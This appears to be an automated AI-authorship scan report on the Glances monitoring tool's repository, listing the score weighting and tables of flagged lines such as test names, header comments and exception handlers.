Glances an Eye on your system. A top/htop alternative for GNU/Linux, BSD, macOS and Windows operating systems.
This report presents the forensic synthetic code analysis of nicolargo/glances, a Python project with 33,457 GitHub stars. SynthScan v2.0 examined 69,570 lines of code across 350 source files, recording 1421 pattern matches distributed across 16 syntactic categories. The overall adjusted score of 35.4 places this repository in the Strong AI signal band.
The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).
This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.
Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.
This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.
The scanner identified 1421 distinct pattern matches across 16 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | tests/test_actions_sanitize.py | 47 | def test_empty_dict_returns_empty(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 56 | def test_strips_double_ampersand(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 68 | def test_strips_append_redirect(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 74 | def test_strips_multiple_operators(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 83 | def test_preserves_int_values(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 88 | def test_preserves_float_values(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 93 | def test_preserves_none_values(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 98 | def test_preserves_bool_values(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 103 | def test_preserves_list_of_numbers(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 109 | def test_strips_operators_in_nested_list(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 116 | def test_strips_operators_in_nested_dict(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 122 | def test_strips_operators_in_deeply_nested(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 127 | def test_preserves_tuple_type(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 133 | def test_sanitize_value_passthrough_non_string(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 139 | def test_clean_string_unchanged(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 145 | def test_does_not_mutate_original(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 164 | def test_pipe_injection_in_process_name(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 175 | def test_chain_injection_in_container_name(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 189 | def test_redirect_injection_in_mount_point(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 199 | def test_append_redirect_injection(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 207 | def test_lone_ampersand_is_stripped(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 214 | def test_cross_field_ampersand_reconstruction_blocked(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 297 | def test_run_sanitizes_chain_in_mustache(self, actions): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 311 | def test_run_sanitizes_redirect_in_mustache(self, actions): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 451 | def test_allow_operators_true_when_no_args(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 454 | def test_allow_operators_true_when_flag_absent(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 457 | def test_allow_operators_false_when_disabled(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 460 | def test_allow_operators_true_when_enabled(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 463 | def test_run_passes_allow_operators_false_when_disabled(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 269 | def test_run_with_safe_values(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 280 | def test_run_sanitizes_pipe_in_mustache(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 325 | def test_run_preserves_template_operators(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 342 | def test_run_preserves_template_redirect(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 357 | def test_run_preserves_template_chain(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 371 | def test_run_sanitizes_cmdline_section(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 387 | def test_run_blocks_cross_field_ampersand_chain(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 402 | def test_run_does_not_execute_when_already_triggered(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 414 | def test_run_repeats_when_repeat_true(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 478 | def test_run_passes_allow_operators_true_by_default(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 493 | def test_run_disabled_does_not_write_redirect_file(self): | CODE |
| LOW⚡ | tests/test_lazy_views.py | 42 | def test_refresh_builds_nothing(plugin): | CODE |
| LOW⚡ | tests/test_lazy_views.py | 47 | def test_first_read_builds_the_views(plugin): | CODE |
| LOW⚡ | tests/test_lazy_views.py | 54 | def test_second_read_reuses_the_built_views(plugin): | CODE |
| LOW⚡ | tests/test_lazy_views.py | 60 | def test_json_contains_every_process(plugin): | CODE |
| LOW | tests/test_lazy_views.py | 72 | def test_set_views_is_not_overwritten(plugin): | CODE |
| LOW⚡ | tests/test_api_secure.py | 93 | def test_url_embedded_credentials_are_redacted(tmp_path): | CODE |
| LOW⚡ | tests/test_api_secure.py | 102 | def test_url_without_credentials_is_untouched(tmp_path): | CODE |
| LOW⚡ | tests/test_api_secure.py | 110 | def test_every_url_of_a_multi_url_value_is_redacted(tmp_path): | CODE |
| LOW⚡ | tests/test_api_secure.py | 117 | def test_login_names_are_redacted(tmp_path): | CODE |
| LOW⚡ | tests/test_api_secure.py | 125 | def test_passwords_are_still_redacted(tmp_path): | CODE |
| LOW⚡ | tests/test_api_secure.py | 132 | def test_passwords_section_is_still_blocked(tmp_path): | CODE |
| LOW⚡ | tests/test_api_secure.py | 138 | def test_cpu_user_thresholds_are_not_redacted(tmp_path): | CODE |
| LOW⚡ | tests/test_api_secure.py | 152 | def test_args_login_is_redacted(): | CODE |
| LOW⚡ | tests/test_api_secure.py | 159 | def test_args_url_embedded_credentials_are_redacted(): | CODE |
| LOW⚡ | tests/test_api_secure.py | 166 | def test_args_hardcoded_sensitive_keys_are_still_redacted(): | CODE |
| LOW⚡ | tests/test_api_secure.py | 173 | def test_args_non_string_values_keep_their_type(): | CODE |
| LOW⚡ | tests/test_api_secure.py | 183 | def test_args_authenticated_view_only_redacts_the_password(): | CODE |
| LOW⚡ | tests/test_stdout_csv.py | 70 | def test_list_plugin_steady_state(): | CODE |
| LOW⚡ | tests/test_stdout_csv.py | 79 | def test_list_plugin_interface_removed(): | CODE |
| LOW⚡ | tests/test_stdout_csv.py | 89 | def test_list_plugin_interface_reappears_with_partial_fields(): | CODE |
| 562 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | tests/test_api_secure.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_stdout_csv.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_export_influxdb_v1.sh | 33 | # Create the glances database | COMMENT |
| MEDIUM | tests/test_core.py | 1159 | # Create a test plugin with MMM enabled | COMMENT |
| MEDIUM | tests/test_core.py | 1298 | # Create a list of stats | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_outdated.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_export_timescaledb.sh | 27 | # Create the glances database | COMMENT |
| MEDIUM | tests/test_xmlrpc.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_amp_secure_popen.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_mcp.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_main.py | 1 | # This file is part of Glances. | COMMENT |
| MEDIUM⚡ | tests/test_export_influxdb_v3.sh | 18 | # Create the token | COMMENT |
| MEDIUM⚡ | tests/test_export_influxdb_v3.sh | 24 | # Create a new configuration for the test | COMMENT |
| MEDIUM⚡ | tests/test_export_influxdb_v3.sh | 28 | # Create the glances database | COMMENT |
| MEDIUM⚡ | tests/test_duckdb_sanitize.py | 107 | # Create a target table that the injection would try to drop | COMMENT |
| MEDIUM | docs/conf.py | 5 | # This file is execfile()d with the current directory set to its | COMMENT |
| MEDIUM | glances/amps_list.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/stats_client.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/client_browser.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/standalone.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/event.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/server.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/web_list.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/attribute.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/servers_list_dynamic.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/servers_list_dynamic.py | 88 | # Create an instance of the servers list | COMMENT |
| MEDIUM | glances/config.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/config.py | 144 | """This class is used to access/read config file, if it exists. | STRING |
| MEDIUM | glances/thresholds.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/webserver.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/stats_server.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/stats_client_snmp.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/stats_client_snmp.py | 51 | # Create an instance of the SNMP client | COMMENT |
| MEDIUM | glances/timer.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/globals.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/client.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/events_list.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/events_list.py | 285 | # Define the automatic process sort key | COMMENT |
| MEDIUM | glances/events_list.py | 288 | # Create the new log item | COMMENT |
| MEDIUM | glances/events_list.py | 356 | # Create a new clean list | COMMENT |
| MEDIUM | glances/secure.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/actions.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/__init__.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/__init__.py | 185 | # Create the Glances main instance | COMMENT |
| MEDIUM | glances/logger.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/logger.py | 26 | # Define the glances log file | COMMENT |
| MEDIUM | glances/logger.py | 40 | # Define the logging configuration | COMMENT |
| MEDIUM | glances/stats_streamer.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/processes.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/servers_list_static.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/programs.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/password_list.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/stats.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/snmp.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/cpu_percent.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/filter.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/outdated.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/outdated.py | 152 | # Create the cache directory | COMMENT |
| MEDIUM | glances/jwt_utils.py | 2 | # This file is part of Glances. | COMMENT |
| 165 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM⚡ | tests/test_actions_sanitize.py | 36 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 38 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 156 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 158 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 224 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 226 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_actions_sanitize.py | 253 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_actions_sanitize.py | 255 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_actions_sanitize.py | 427 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_actions_sanitize.py | 429 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_api_secure.py | 147 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_api_secure.py | 149 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 135 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 137 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 207 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 209 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 232 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 234 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 256 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 258 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 341 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 343 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 425 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 427 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 31 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 33 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 101 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 103 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 163 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 165 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_core.py | 67 | # ================= | COMMENT |
| MEDIUM | tests/test_core.py | 80 | # ============== | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 37 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 39 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 54 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 56 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_plugin_virsh_injection.py | 152 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_plugin_virsh_injection.py | 154 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 130 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 132 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 139 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 141 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 181 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 183 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 266 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 268 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 31 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 33 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 53 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 55 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 102 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 104 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 216 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 218 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_api.py | 17 | # ================= | COMMENT |
| MEDIUM⚡ | tests/test_amp_secure_popen.py | 36 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_amp_secure_popen.py | 38 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_amp_secure_popen.py | 64 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_amp_secure_popen.py | 66 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_mcp.py | 380 | # ------------------------------------------------------------------ | COMMENT |
| 47 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_core.py | 227 | except Exception as e: | CODE |
| LOW | tests/test_core.py | 233 | except Exception as e: | CODE |
| LOW | tests/test_outdated.py | 88 | except Exception: | CODE |
| LOW⚡ | tests/test_plugin_sensors.py | 304 | except Exception as e: | CODE |
| LOW⚡ | tests/test_plugin_sensors.py | 314 | except Exception as e: | CODE |
| LOW⚡ | tests/test_plugin_sensors.py | 326 | except Exception as e: | CODE |
| LOW | .claude/skills/new-export.md | 66 | except Exception as e: | CODE |
| LOW | .claude/skills/new-export.md | 86 | except Exception as e: | CODE |
| MEDIUM | tests-data/tools/csvcheck.py | 23 | print("Error: CSV file is empty") | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 35 | print(f"Error: Expected {expected_lines} lines, but found {row_count}") | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 42 | print("Error: Not all rows have the same number of columns") | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 52 | print(f"Error: Expected {expected_columns} columns, but found {header_columns}") | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 59 | print(f"Error: File '{input_file}' not found") | CODE |
| LOW⚡ | tests-data/tools/csvcheck.py | 61 | except Exception as e: | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 62 | print(f"Error processing CSV file: {str(e)}") | CODE |
| MEDIUM | tests-data/tools/csvcheck.py | 15 | def check_csv(input_file, expected_lines, expected_columns=None): | CODE |
| MEDIUM⚡ | tests-data/tools/duckdbcheck.py | 25 | print(f"Error: Expected {expected_lines} CPU lines, but found {row_count}") | CODE |
| MEDIUM⚡ | tests-data/tools/duckdbcheck.py | 33 | print(f"Error: Expected {expected_lines} Network lines, but found {row_count}") | CODE |
| MEDIUM⚡ | tests-data/tools/duckdbcheck.py | 39 | print(f"Error: File '{input_file}' not found") | CODE |
| LOW⚡ | tests-data/tools/duckdbcheck.py | 41 | except Exception as e: | CODE |
| MEDIUM⚡ | tests-data/tools/duckdbcheck.py | 42 | print(f"Error processing DuckDB file: {str(e)}") | CODE |
| MEDIUM | tests-data/tools/duckdbcheck.py | 16 | def check_duckdb(input_file, expected_lines, expected_columns=None): | CODE |
| LOW | glances/amps_list.py | 60 | except Exception as e: | CODE |
| LOW | glances/server.py | 62 | except Exception: | CODE |
| LOW | glances/server.py | 229 | except Exception as e: | CODE |
| LOW | glances/servers_list_dynamic.py | 226 | except Exception as e: | CODE |
| LOW | glances/stats_client_snmp.py | 99 | except Exception as e: | CODE |
| LOW | glances/globals.py | 169 | except Exception as e: | CODE |
| LOW | glances/globals.py | 226 | except Exception as e: | CODE |
| LOW | glances/client.py | 70 | except Exception as e: | CODE |
| LOW | glances/client.py | 245 | except Exception: | CODE |
| LOW | glances/client.py | 290 | except Exception: | CODE |
| LOW | glances/stats_streamer.py | 64 | except Exception as e: | CODE |
| LOW | glances/processes.py | 128 | except Exception as e: | CODE |
| LOW | glances/processes.py | 139 | except Exception as e: | CODE |
| LOW | glances/processes.py | 846 | except Exception as e: | CODE |
| LOW | glances/stats.py | 116 | except Exception as e: | CODE |
| LOW | glances/stats.py | 234 | except Exception as e: | CODE |
| LOW | glances/cpu_percent.py | 253 | except Exception as e: | CODE |
| LOW | glances/filter.py | 134 | except Exception as e: | CODE |
| LOW | glances/outdated.py | 25 | except Exception as e: | CODE |
| LOW | glances/outdated.py | 131 | except Exception as e: | CODE |
| LOW | glances/outdated.py | 166 | except Exception as e: | CODE |
| LOW | glances/outdated.py | 178 | except Exception as e: | CODE |
| LOW | glances/servers_list.py | 183 | except Exception as e: | CODE |
| LOW | glances/folder_list.py | 108 | except Exception: | CODE |
| LOW | glances/amps/systemv/__init__.py | 61 | except Exception as e: | CODE |
| LOW | glances/amps/default/__init__.py | 70 | except Exception as e: | CODE |
| LOW | glances/plugins/processlist/__init__.py | 221 | except Exception: | CODE |
| LOW | glances/plugins/sensors/__init__.py | 118 | except Exception as e: | CODE |
| LOW | glances/plugins/sensors/__init__.py | 156 | except Exception as e: | CODE |
| LOW | glances/plugins/sensors/sensor/glances_batpercent.py | 32 | except Exception as e: | CODE |
| LOW | glances/plugins/sensors/sensor/glances_batpercent.py | 50 | except Exception as e: | CODE |
| LOW | glances/plugins/sensors/sensor/glances_hddtemp.py | 134 | except Exception as e: | CODE |
| LOW | glances/plugins/diskio/__init__.py | 149 | except Exception: | CODE |
| LOW⚡ | glances/plugins/gpu/__init__.py | 90 | except Exception as e: | CODE |
| LOW⚡ | glances/plugins/gpu/__init__.py | 97 | except Exception as e: | CODE |
| LOW⚡ | glances/plugins/gpu/__init__.py | 106 | except Exception as e: | CODE |
| LOW⚡ | glances/plugins/gpu/__init__.py | 115 | except Exception as e: | CODE |
| LOW | glances/plugins/gpu/cards/nvidia.py | 36 | except Exception as e: | CODE |
| 139 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | requirements.txt | 1 | # This file was autogenerated by uv via the following command: | COMMENT |
| LOW | dev-requirements.txt | 1 | # This file was autogenerated by uv via the following command: | COMMENT |
| LOW | dev-requirements.txt | 21 | # reuse | COMMENT |
| LOW | dev-requirements.txt | 41 | cffi==2.1.0 ; (implementation_name != 'pypy' and os_name == 'nt') or platform_python_implementation != 'PyPy' | COMMENT |
| LOW | dev-requirements.txt | 61 | # pytest | COMMENT |
| LOW | dev-requirements.txt | 81 | # via | COMMENT |
| LOW | dev-requirements.txt | 101 | # via semgrep | COMMENT |
| LOW | dev-requirements.txt | 121 | # httpx | COMMENT |
| LOW | dev-requirements.txt | 161 | # via markdown-it-py | COMMENT |
| LOW | dev-requirements.txt | 181 | # via | COMMENT |
| LOW | dev-requirements.txt | 201 | opentelemetry-proto==1.37.0 | COMMENT |
| LOW | dev-requirements.txt | 221 | # via | COMMENT |
| LOW | dev-requirements.txt | 241 | # via | COMMENT |
| LOW | dev-requirements.txt | 281 | # via | COMMENT |
| LOW | dev-requirements.txt | 301 | # semgrep | COMMENT |
| LOW | dev-requirements.txt | 341 | snowballstemmer==3.1.1 | COMMENT |
| LOW | dev-requirements.txt | 361 | # via sphinx | COMMENT |
| LOW | dev-requirements.txt | 381 | # via | COMMENT |
| LOW | dev-requirements.txt | 401 | # opentelemetry-exporter-otlp-proto-http | COMMENT |
| LOW | dev-requirements.txt | 421 | uc-micro-py==2.0.0 | COMMENT |
| LOW | docker-requirements.txt | 1 | # This file was autogenerated by uv via the following command: | COMMENT |
| LOW | docker-requirements.txt | 21 | # requests | COMMENT |
| LOW | docker-requirements.txt | 41 | exceptiongroup==1.2.2 ; python_full_version < '3.11' | COMMENT |
| LOW | docker-requirements.txt | 61 | # via glances | COMMENT |
| LOW | docker-requirements.txt | 81 | # via cffi | COMMENT |
| LOW | docker-requirements.txt | 101 | python-jose==3.5.0 | COMMENT |
| LOW | docker-requirements.txt | 121 | # via pylxd | COMMENT |
| LOW | docker-requirements.txt | 141 | starlette==1.3.1 | COMMENT |
| LOW | docker-requirements.txt | 161 | typing-inspection==0.4.2 | COMMENT |
| LOW | all-requirements.txt | 1 | # This file was autogenerated by uv via the following command: | COMMENT |
| LOW | all-requirements.txt | 21 | # via glances | COMMENT |
| LOW | all-requirements.txt | 41 | chevron==0.14.0 | COMMENT |
| LOW | all-requirements.txt | 61 | ecdsa==0.19.2 | COMMENT |
| LOW | all-requirements.txt | 81 | httpx-sse==0.4.3 | COMMENT |
| LOW | all-requirements.txt | 101 | # via glances | COMMENT |
| LOW | all-requirements.txt | 141 | # via glances | COMMENT |
| LOW | all-requirements.txt | 161 | # fastapi | COMMENT |
| LOW | all-requirements.txt | 181 | pyreadline3==3.5.6 ; sys_platform == 'win32' | COMMENT |
| LOW | all-requirements.txt | 201 | python-dotenv==1.2.2 | COMMENT |
| LOW | all-requirements.txt | 221 | # jsonschema | COMMENT |
| LOW | all-requirements.txt | 241 | # via | COMMENT |
| LOW | all-requirements.txt | 261 | # via glances | COMMENT |
| LOW | all-requirements.txt | 281 | # mcp | COMMENT |
| LOW | all-requirements.txt | 301 | urllib3==2.7.0 | COMMENT |
| LOW | .readthedocs.yaml | 21 | # Fail on all warnings to avoid broken references | COMMENT |
| LOW | tests/test_core.py | 1081 | # def test_106_diskio_plugin_method(self): | COMMENT |
| LOW | tests/test_core.py | 1381 | self.assertIn('percent_mean', raw_stats) | COMMENT |
| LOW | tests/test_plugin_model.py | 1 | #!/usr/bin/env python | COMMENT |
| LOW | tests/test_api.py | 1 | #!/usr/bin/env python | COMMENT |
| LOW | docs/conf.py | 1 | # | COMMENT |
| LOW | docs/conf.py | 21 | # sys.path.insert(0, os.path.abspath('.')) | COMMENT |
| LOW | docs/conf.py | 61 | copyright = f'{year}, {author}' | COMMENT |
| LOW | docs/conf.py | 81 | # today = '' | COMMENT |
| LOW | docs/conf.py | 101 | # output. They are ignored by default. | COMMENT |
| LOW | docs/conf.py | 121 | html_theme = 'sphinx_rtd_theme' | COMMENT |
| LOW | docs/conf.py | 141 | COMMENT | |
| LOW | docs/conf.py | 161 | # If true, SmartyPants will be used to convert quotes and dashes to | COMMENT |
| LOW | docs/conf.py | 181 | # If true, links to the reST sources are added to the pages. | COMMENT |
| LOW | docs/conf.py | 201 | # 'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr' | COMMENT |
| LOW | docs/conf.py | 221 | # 'pointsize': '10pt', | COMMENT |
| 46 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | tests/test_plugin_load.py | 0 | test that get_items_history_list returns the history items. | STRING |
| HIGH | tests/test_plugin_cpu.py | 0 | test that get_items_history_list returns the history items. | STRING |
| HIGH | tests/test_plugin_memswap.py | 0 | test that get_items_history_list returns the history items. | STRING |
| HIGH | tests/test_plugin_processcount.py | 0 | test that get_items_history_list returns the history items. | STRING |
| HIGH | tests/test_plugin_mem.py | 0 | test that get_items_history_list returns the history items. | STRING |
